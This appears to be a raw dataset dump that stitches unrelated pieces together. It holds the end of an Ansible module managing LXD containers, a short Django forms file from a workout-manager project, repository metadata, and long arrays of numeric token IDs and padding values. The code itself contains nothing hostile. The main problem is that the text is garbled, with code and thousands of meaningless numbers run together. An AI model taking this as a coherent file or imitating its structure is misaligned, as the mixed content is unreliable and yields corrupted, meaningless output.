self._has_all_ipv4_addresses(addresses): self.addresses = addresses return except LXDClientException as e: e.msg = 'timeout for getting IPv4 addresses' raise def _started(self): if self.old_state == 'absent': self._create_container() self._start_container() else: if self.old_state == 'frozen': self._unfreeze_container() elif self.old_state == 'stopped': self._start_container() if self._needs_to_apply_container_configs(): self._apply_container_configs() if self.wait_for_ipv4_addresses: self._get_addresses() def _stopped(self): if self.old_state == 'absent': self._create_container() else: if self.old_state == 'stopped': if self._needs_to_apply_container_configs(): self._start_container() self._apply_container_configs() self._stop_container() else: if self.old_state == 'frozen': self._unfreeze_container() if self._needs_to_apply_container_configs(): self._apply_container_configs() self._stop_container() def _restarted(self): if self.old_state == 'absent': self._create_container() self._start_container() else: if self.old_state == 'frozen': self._unfreeze_container() if self._needs_to_apply_container_configs(): self._apply_container_configs() self._restart_container() if self.wait_for_ipv4_addresses: self._get_addresses() def _destroyed(self): if self.old_state != 'absent': if self.old_state == 'frozen': self._unfreeze_container() self._stop_container() self._delete_container() def _frozen(self): if self.old_state == 'absent': self._create_container() self._start_container() self._freeze_container() else: if self.old_state == 'stopped': self._start_container() if self._needs_to_apply_container_configs(): self._apply_container_configs() self._freeze_container() def _needs_to_change_container_config(self, key): if key not in self.config: return False if key == 'config': old_configs = dict((k, v) for k, v in self.old_container_json['metadata'][key].items() if not k.startswith('volatile.')) else: old_configs = self.old_container_json['metadata'][key] return self.config[key] != old_configs def _needs_to_apply_container_configs(self): return ( self._needs_to_change_container_config('architecture') or self._needs_to_change_container_config('config') or self._needs_to_change_container_config('ephemeral') or self._needs_to_change_container_config('devices') or self._needs_to_change_container_config('profiles') ) def _apply_container_configs(self): old_metadata = self.old_container_json['metadata'] body_json = { 'architecture': old_metadata['architecture'], 'config': old_metadata['config'], 'devices': old_metadata['devices'], 'profiles': old_metadata['profiles'] } if self._needs_to_change_container_config('architecture'): body_json['architecture'] = self.config['architecture'] if self._needs_to_change_container_config('config'): for k, v in self.config['config'].items(): body_json['config'][k] = v if self._needs_to_change_container_config('ephemeral'): body_json['ephemeral'] = self.config['ephemeral'] if self._needs_to_change_container_config('devices'): body_json['devices'] = self.config['devices'] if self._needs_to_change_container_config('profiles'): body_json['profiles'] = self.config['profiles'] self.client.do('PUT', '/1.0/containers/{0}'.format(self.name), body_json=body_json) self.actions.append('apply_container_configs') def run(self): """Run the main method.""" try: if self.trust_password is not None: self.client.authenticate(self.trust_password) self.old_container_json = self._get_container_json() self.old_state = self._container_json_to_module_state(self.old_container_json) action = getattr(self, LXD_ANSIBLE_STATES[self.state]) action() state_changed = len(self.actions) > 0 result_json = { 'log_verbosity': self.module._verbosity, 'changed': state_changed, 'old_state': self.old_state, 'actions': self.actions } if self.client.debug: result_json['logs'] = self.client.logs if self.addresses is not None: result_json['addresses'] = self.addresses self.module.exit_json(**result_json) except LXDClientException as e: state_changed = len(self.actions) > 0 fail_params = { 'msg': e.msg, 'changed': state_changed, 'actions': self.actions } if self.client.debug: fail_params['logs'] = e.kwargs['logs'] self.module.fail_json(**fail_params) def main(): """Ansible Main module.""" module = AnsibleModule( argument_spec=dict( name=dict( type='str', required=True ), architecture=dict( type='str', ), config=dict( type='dict', ), description=dict( type='str', ), devices=dict( type='dict', ), ephemeral=dict( type='bool', ), profiles=dict( type='list', ), source=dict( type='dict', ), state=dict( choices=LXD_ANSIBLE_STATES.keys(), default='started' ), timeout=dict( type='int', default=30 ), wait_for_ipv4_addresses=dict( type='bool', default=False ), force_stop=dict( type='bool', default=False ), url=dict( type='str', default='unix:/var/lib/lxd/unix.socket' ), key_file=dict( type='str', default='{}/.config/lxc/client.key'.format(os.environ['HOME']) ), cert_file=dict( type='str', default='{}/.config/lxc/client.crt'.format(os.environ['HOME']) ), trust_password=dict( type='str', ) ), supports_check_mode=False, ) lxd_manage = LXDContainerManagement(module=module) lxd_manage.run() # import module bits from ansible.module_utils.basic import * if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 7800, 12, 869, 14352, 27387, 653, 1151, 455, 12417, 665, 6164, 1151, 455, 300, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 634, 2207, 63, 3600, 199, 3612, 63, 1802, 26, 14944, 491, 18184, 1448, 877, 1192, 199, 1023, 63, 3270, 26, 499, 14, 18, 14, 16, 199, 1802, 26, 523, 446, 8259, 402, 491, 18184, 15333, 199, 2502, 26, 298, 40, 14352, 27387, 653, 1151, 455, 12417, 8593, 6164, 1151, 455, 300, 2924, 199, 1419, 26, 272, 536, 26, 267, 1369, 26, 881, 446, 2812, 402, 282, 3970, 14, 267, 1415, 26, 2549, 272, 15931, 26, 267, 1369, 26, 881, 446, 710, 3819, 73, 449, 608, 367, 314, 3970, 334, 69, 14, 71, 14, 298, 88, 1184, 63, 772, 2, 503, 298, 73, 10253, 3471, 288, 1666, 738, 8, 2859, 921, 5031, 14, 957, 15, 29357, 15, 76, 2207, 15, 6582, 15, 4133, 15, 1301, 15, 3911, 13, 1246, 14, 1064, 3, 1932, 13, 17, 9, 267, 1415, 26, 3055, 272, 1101, 26, 267, 1369, 26, 881, 446, 283, 1918, 1101, 367, 314, 3970, 334, 69, 14, 71, 14, 2420, 9368, 14, 3541, 582, 298, 18, 3570, 680, 288, 1666, 738, 8, 2859, 921, 5031, 14, 957, 15, 29357, 15, 76, 2207, 15, 6582, 15, 4133, 15, 1301, 15, 3911, 13, 1246, 14, 1064, 3, 1932, 13, 17, 3171, 881, 446, 982, 314, 3970, 2575, 3495, 436, 2399, 298, 888, 2, 574, 315, 3341, 288, 15884, 687, 288, 9576, 1182, 17, 14, 16, 15, 13577, 8316, 354, 30, 288, 738, 8, 2859, 921, 5031, 14, 957, 15, 29357, 15, 76, 2207, 15, 6582, 15, 4133, 15, 1301, 15, 3911, 13, 1246, 14, 1064, 3, 709, 13577, 354, 9, 288, 787, 3365, 12, 2985, 642, 859, 11275, 370, 4838, 314, 13422, 14, 881, 446, 710, 790, 9174, 543, 283, 32059, 3530, 787, 5525, 367, 642, 9132, 14, 881, 446, 2832, 1006, 1101, 1338, 787, 3748, 370, 4838, 314, 3411, 3970, 14, 288, 23038, 1265, 1929, 370, 3145, 436, 23959, 282, 3970, 14, 267, 1415, 26, 3055, 272, 7256, 26, 267, 1369, 26, 881, 446, 283, 1918, 7256, 367, 314, 3970, 288, 334, 69, 14, 71, 14, 469, 298, 1231, 2319, 582, 469, 298, 515, 582, 3286, 2374, 15, 29272, 401, 298, 466, 582, 298, 11864, 13, 1560, 2, 789, 680, 288, 1666, 738, 8, 2859, 921, 5031, 14, 957, 15, 29357, 15, 76, 2207, 15, 6582, 15, 4133, 15, 1301, 15, 3911, 13, 1246, 14, 1064, 3, 1932, 13, 17, 3171, 267, 1415, 26, 3055, 272, 26288, 26, 267, 1369, 26, 881, 446, 7480, 503, 440, 314, 3970, 365, 26288, 334, 69, 14, 71, 14, 2549, 503, 3055, 680, 288, 1666, 738, 8, 2859, 921, 5031, 14, 957, 15, 29357, 15, 76, 2207, 15, 6582, 15, 4133, 15, 1301, 15, 3911, 13, 1246, 14, 1064, 3, 1932, 13, 17, 9, 267, 1415, 26, 3055, 272, 1350, 26, 267, 1369, 26, 881, 446, 283, 1918, 1350, 367, 314, 3970, 288, 334, 69, 14, 71, 14, 469, 298, 466, 582, 298, 1569, 401, 490, 298, 632, 582, 298, 9302, 401, 490, 298, 1000, 582, 298, 2859, 921, 4782, 14, 5135, 13577, 14, 1308, 401, 490, 298, 3922, 582, 298, 76, 2207, 401, 490, 298, 3620, 582, 298, 21151, 15, 13615, 2380, 15, 21778, 772, 2, 789, 680, 288, 1666, 738, 8, 2859, 921, 5031, 14, 957, 15, 29357, 15, 76, 2207, 15, 6582, 15, 4133, 15, 1301, 15, 3911, 13, 1246, 14, 1064, 3, 1932, 13, 17, 3171, 267, 1415, 26, 3055, 272, 1174, 26, 267, 3415, 26, 881, 446, 8239, 881, 446, 15248, 881, 446, 32277, 881, 446, 9552, 881, 446, 8101, 267, 1369, 26, 881, 446, 13930, 314, 1174, 402, 282, 3970, 14, 267, 1415, 26, 3055, 267, 849, 26, 8239, 272, 2653, 26, 267, 1369, 26, 881, 446, 437, 2653, 367, 13729, 314, 1174, 402, 314, 3970, 14, 881, 446, 961, 365, 2597, 1202, 465, 282, 2653, 367, 10923, 5133, 6509, 20, 7149, 288, 787, 663, 370, 314, 1006, 2784, 8386, 315, 314, 3970, 2410, 288, 6617, 503, 11004, 316, 14, 267, 1415, 26, 3055, 267, 849, 26, 4233, 272, 3618, 63, 509, 63, 4774, 20, 63, 7423, 26, 267, 1369, 26, 881, 446, 982, 642, 365, 2549, 12, 314, 603, 8, 76, 2207, 63, 3600, 9, 14442, 1405, 5133, 6509, 20, 7149, 288, 787, 663, 370, 314, 1006, 2784, 8386, 315, 314, 3970, 2410, 288, 6617, 503, 11004, 316, 14, 267, 1415, 26, 3055, 267, 849, 26, 3055, 272, 3542, 63, 2379, 26, 267, 1369, 26, 881, 446, 982, 642, 365, 2549, 12, 314, 603, 8, 76, 2207, 63, 3600, 9, 25983, 370, 3631, 314, 3970, 288, 1380, 652, 20922, 503, 11004, 83, 314, 3970, 14, 267, 1415, 26, 3055, 267, 849, 26, 3055, 272, 1166, 26, 267, 1369, 26, 881, 446, 710, 16572, 2881, 2838, 931, 503, 314, 4178, 2851, 367, 314, 491, 18184, 1654, 14, 267, 1415, 26, 3055, 267, 849, 26, 16572, 11254, 1391, 15, 773, 15, 76, 2207, 15, 11864, 14, 3450, 272, 790, 63, 493, 26, 267, 1369, 26, 881, 446 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 7800, 12, 869, 14352, 27387, 653, 1151, 455, 12417, 665, 6164, 1151, 455, 300, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 634, 2207, 63, 3600, 199, 3612, 63, 1802, 26, 14944, 491, 18184, 1448, 877, 1192, 199, 1023, 63, 3270, 26, 499, 14, 18, 14, 16, 199, 1802, 26, 523, 446, 8259, 402, 491, 18184, 15333, 199, 2502, 26, 298, 40, 14352, 27387, 653, 1151, 455, 12417, 8593, 6164, 1151, 455, 300, 2924, 199, 1419, 26, 272, 536, 26, 267, 1369, 26, 881, 446, 2812, 402, 282, 3970, 14, 267, 1415, 26, 2549, 272, 15931, 26, 267, 1369, 26, 881, 446, 710, 3819, 73, 449, 608, 367, 314, 3970, 334, 69, 14, 71, 14, 298, 88, 1184, 63, 772, 2, 503, 298, 73, 10253, 3471, 288, 1666, 738, 8, 2859, 921, 5031, 14, 957, 15, 29357, 15, 76, 2207, 15, 6582, 15, 4133, 15, 1301, 15, 3911, 13, 1246, 14, 1064, 3, 1932, 13, 17, 9, 267, 1415, 26, 3055, 272, 1101, 26, 267, 1369, 26, 881, 446, 283, 1918, 1101, 367, 314, 3970, 334, 69, 14, 71, 14, 2420, 9368, 14, 3541, 582, 298, 18, 3570, 680, 288, 1666, 738, 8, 2859, 921, 5031, 14, 957, 15, 29357, 15, 76, 2207, 15, 6582, 15, 4133, 15, 1301, 15, 3911, 13, 1246, 14, 1064, 3, 1932, 13, 17, 3171, 881, 446, 982, 314, 3970, 2575, 3495, 436, 2399, 298, 888, 2, 574, 315, 3341, 288, 15884, 687, 288, 9576, 1182, 17, 14, 16, 15, 13577, 8316, 354, 30, 288, 738, 8, 2859, 921, 5031, 14, 957, 15, 29357, 15, 76, 2207, 15, 6582, 15, 4133, 15, 1301, 15, 3911, 13, 1246, 14, 1064, 3, 709, 13577, 354, 9, 288, 787, 3365, 12, 2985, 642, 859, 11275, 370, 4838, 314, 13422, 14, 881, 446, 710, 790, 9174, 543, 283, 32059, 3530, 787, 5525, 367, 642, 9132, 14, 881, 446, 2832, 1006, 1101, 1338, 787, 3748, 370, 4838, 314, 3411, 3970, 14, 288, 23038, 1265, 1929, 370, 3145, 436, 23959, 282, 3970, 14, 267, 1415, 26, 3055, 272, 7256, 26, 267, 1369, 26, 881, 446, 283, 1918, 7256, 367, 314, 3970, 288, 334, 69, 14, 71, 14, 469, 298, 1231, 2319, 582, 469, 298, 515, 582, 3286, 2374, 15, 29272, 401, 298, 466, 582, 298, 11864, 13, 1560, 2, 789, 680, 288, 1666, 738, 8, 2859, 921, 5031, 14, 957, 15, 29357, 15, 76, 2207, 15, 6582, 15, 4133, 15, 1301, 15, 3911, 13, 1246, 14, 1064, 3, 1932, 13, 17, 3171, 267, 1415, 26, 3055, 272, 26288, 26, 267, 1369, 26, 881, 446, 7480, 503, 440, 314, 3970, 365, 26288, 334, 69, 14, 71, 14, 2549, 503, 3055, 680, 288, 1666, 738, 8, 2859, 921, 5031, 14, 957, 15, 29357, 15, 76, 2207, 15, 6582, 15, 4133, 15, 1301, 15, 3911, 13, 1246, 14, 1064, 3, 1932, 13, 17, 9, 267, 1415, 26, 3055, 272, 1350, 26, 267, 1369, 26, 881, 446, 283, 1918, 1350, 367, 314, 3970, 288, 334, 69, 14, 71, 14, 469, 298, 466, 582, 298, 1569, 401, 490, 298, 632, 582, 298, 9302, 401, 490, 298, 1000, 582, 298, 2859, 921, 4782, 14, 5135, 13577, 14, 1308, 401, 490, 298, 3922, 582, 298, 76, 2207, 401, 490, 298, 3620, 582, 298, 21151, 15, 13615, 2380, 15, 21778, 772, 2, 789, 680, 288, 1666, 738, 8, 2859, 921, 5031, 14, 957, 15, 29357, 15, 76, 2207, 15, 6582, 15, 4133, 15, 1301, 15, 3911, 13, 1246, 14, 1064, 3, 1932, 13, 17, 3171, 267, 1415, 26, 3055, 272, 1174, 26, 267, 3415, 26, 881, 446, 8239, 881, 446, 15248, 881, 446, 32277, 881, 446, 9552, 881, 446, 8101, 267, 1369, 26, 881, 446, 13930, 314, 1174, 402, 282, 3970, 14, 267, 1415, 26, 3055, 267, 849, 26, 8239, 272, 2653, 26, 267, 1369, 26, 881, 446, 437, 2653, 367, 13729, 314, 1174, 402, 314, 3970, 14, 881, 446, 961, 365, 2597, 1202, 465, 282, 2653, 367, 10923, 5133, 6509, 20, 7149, 288, 787, 663, 370, 314, 1006, 2784, 8386, 315, 314, 3970, 2410, 288, 6617, 503, 11004, 316, 14, 267, 1415, 26, 3055, 267, 849, 26, 4233, 272, 3618, 63, 509, 63, 4774, 20, 63, 7423, 26, 267, 1369, 26, 881, 446, 982, 642, 365, 2549, 12, 314, 603, 8, 76, 2207, 63, 3600, 9, 14442, 1405, 5133, 6509, 20, 7149, 288, 787, 663, 370, 314, 1006, 2784, 8386, 315, 314, 3970, 2410, 288, 6617, 503, 11004, 316, 14, 267, 1415, 26, 3055, 267, 849, 26, 3055, 272, 3542, 63, 2379, 26, 267, 1369, 26, 881, 446, 982, 642, 365, 2549, 12, 314, 603, 8, 76, 2207, 63, 3600, 9, 25983, 370, 3631, 314, 3970, 288, 1380, 652, 20922, 503, 11004, 83, 314, 3970, 14, 267, 1415, 26, 3055, 267, 849, 26, 3055, 272, 1166, 26, 267, 1369, 26, 881, 446, 710, 16572, 2881, 2838, 931, 503, 314, 4178, 2851, 367, 314, 491, 18184, 1654, 14, 267, 1415, 26, 3055, 267, 849, 26, 16572, 11254, 1391, 15, 773, 15, 76, 2207, 15, 11864, 14, 3450, 272, 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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kjagoo/wger_stark
wger/exercises/forms.py
2
1070
# -*- coding: utf-8 -*- # This file is part of Workout Manager. # # Workout Manager is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Workout Manager is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU Affero General Public License from django import forms from wger.exercises.models import ExerciseImage, ExerciseComment class ExerciseImageForm(forms.ModelForm): class Meta: model = ExerciseImage fields = ('image', 'is_main', 'license', 'license_author') class CommentForm(forms.ModelForm): class Meta: model = ExerciseComment exclude = ('exercise',)
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 961, 570, 365, 1777, 402, 9361, 548, 13537, 14, 199, 3, 199, 3, 9361, 548, 13537, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 9361, 548, 13537, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 199, 504, 1639, 492, 4513, 199, 199, 504, 336, 836, 14, 5273, 559, 874, 14, 992, 492, 1316, 20616, 3491, 12, 1316, 20616, 7488, 421, 199, 533, 1316, 20616, 3491, 2821, 8, 3351, 14, 15937, 304, 272, 1021, 6288, 26, 267, 1402, 275, 1316, 20616, 3491, 267, 1504, 275, 661, 1569, 297, 2116, 283, 374, 63, 973, 297, 2116, 283, 1682, 297, 2116, 283, 1682, 63, 2502, 358, 421, 199, 533, 6819, 2821, 8, 3351, 14, 15937, 304, 272, 1021, 6288, 26, 267, 1402, 275, 1316, 20616, 7488, 267, 5760, 275, 661, 5273, 11900, 9538, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 961, 570, 365, 1777, 402, 9361, 548, 13537, 14, 199, 3, 199, 3, 9361, 548, 13537, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 9361, 548, 13537, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 199, 504, 1639, 492, 4513, 199, 199, 504, 336, 836, 14, 5273, 559, 874, 14, 992, 492, 1316, 20616, 3491, 12, 1316, 20616, 7488, 421, 199, 533, 1316, 20616, 3491, 2821, 8, 3351, 14, 15937, 304, 272, 1021, 6288, 26, 267, 1402, 275, 1316, 20616, 3491, 267, 1504, 275, 661, 1569, 297, 2116, 283, 374, 63, 973, 297, 2116, 283, 1682, 297, 2116, 283, 1682, 63, 2502, 358, 421, 199, 533, 6819, 2821, 8, 3351, 14, 15937, 304, 272, 1021, 6288, 26, 267, 1402, 275, 1316, 20616, 7488, 267, 5760, 275, 661, 5273, 11900, 9538, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 